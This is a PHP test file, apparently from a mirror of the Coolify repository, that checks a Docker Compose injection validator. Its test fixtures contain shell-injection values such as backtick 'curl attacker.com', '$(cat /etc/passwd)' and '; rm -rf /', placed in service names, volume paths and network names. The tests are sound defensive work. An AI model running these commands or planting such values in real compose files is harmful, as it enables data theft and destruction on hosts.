mirror of
https://github.com/coollabsio/coolify.git
synced 2026-10-07 14:36:44 -04:00
Accept a top-level network `name:` that is a single Compose variable
(`${VAR}`, `${VAR:-default}`, `${VAR-default}`), e.g. for external
networks that differ per server. The default must still be a valid
network name; surrounding text, nested variables, and shell syntax
are still rejected.
When parsing services, such variables are created as service
environment variables (seeded with the default) so users can view and
change them, while the compose file keeps the variable for Compose to
resolve from .env at deployment. Existing values are preserved on
re-parse.
311 lines
9.0 KiB
PHP
311 lines
9.0 KiB
PHP
<?php
|
|
|
|
test('validateDockerComposeForInjection blocks malicious service names', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
evil`curl attacker.com`:
|
|
image: nginx:latest
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service name');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/pwn`curl attacker.com`:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/pwn`curl attacker.com`'
|
|
target: /app
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '$(cat /etc/passwd):/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks pipes in service names', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web|cat /etc/passwd:
|
|
image: nginx:latest
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service name');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/test; rm -rf /:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows legitimate compose files', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- /var/www/html:/usr/share/nginx/html
|
|
- app-data:/data
|
|
db:
|
|
image: postgres:15
|
|
volumes:
|
|
- db-data:/var/lib/postgresql/data
|
|
volumes:
|
|
app-data:
|
|
db-data:
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows environment variables in volumes', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '${DATA_PATH}:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '${DATA:-$(cat /etc/passwd)}:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection requires services section', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
version: '3'
|
|
networks:
|
|
mynet:
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection handles empty volumes array', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes: []
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
|
|
$maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\"";
|
|
|
|
// YAML parser will reject this before our validation (which is good!)
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks redirections in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/test > /etc/passwd:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection validates volume targets', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/safe:/app`curl attacker.com`'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection handles multiple services', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- /var/www:/usr/share/nginx/html
|
|
api:
|
|
image: node:18
|
|
volumes:
|
|
- /app/src:/usr/src/app
|
|
db:
|
|
image: postgres:15
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid top-level network names', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
"app'network":
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose network name');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid service network list items', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
- "app'network"
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service network');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid service network map keys', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
"app'network":
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service network');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid compose network name fields', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
frontend:
|
|
name: "app'network"
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose network name field');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows legitimate compose networks', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
- frontend
|
|
- backend
|
|
networks:
|
|
frontend:
|
|
backend:
|
|
name: app-backend
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows variables in compose network name fields', function (string $name) {
|
|
$compose = <<<YAML
|
|
services:
|
|
app:
|
|
image: nginx:latest
|
|
networks:
|
|
- shared
|
|
networks:
|
|
shared:
|
|
external: true
|
|
name: '{$name}'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
|
|
})->with([
|
|
'variable' => ['${SHARED_NETWORK}'],
|
|
'variable with a default' => ['${SHARED_NETWORK:-traefik_public}'],
|
|
'variable with an unset-only default' => ['${SHARED_NETWORK-traefik-public.1}'],
|
|
]);
|
|
|
|
test('validateDockerComposeForInjection still blocks unsafe compose network names with variables', function (string $name, string $where) {
|
|
$networkKey = $where === 'key' ? $name : 'shared';
|
|
$nameField = $where === 'name' ? $name : 'shared';
|
|
$compose = "services:\n app:\n image: nginx:latest\nnetworks:\n ".json_encode($networkKey).":\n name: ".json_encode($nameField)."\n";
|
|
|
|
expect(fn () => validateDockerComposeForInjection($compose))->toThrow(Exception::class, 'Invalid Docker Compose network name');
|
|
})->with([
|
|
'default with shell characters' => ['${NET:-bad name;id}', 'name'],
|
|
'default with command substitution' => ['${NET:-$(id)}', 'name'],
|
|
'command substitution' => ['$(id)', 'name'],
|
|
'backticks' => ['`id`', 'name'],
|
|
'text around the variable' => ['prefix_${NET}', 'name'],
|
|
'nested variable' => ['${NET:-${OTHER}}', 'name'],
|
|
'invalid variable name' => ['${1NET}', 'name'],
|
|
'required-variable form' => ['${NET:?missing}', 'name'],
|
|
'newline' => ["\${NET}\nid", 'name'],
|
|
'variable as network key' => ['${NET}', 'key'],
|
|
]);
|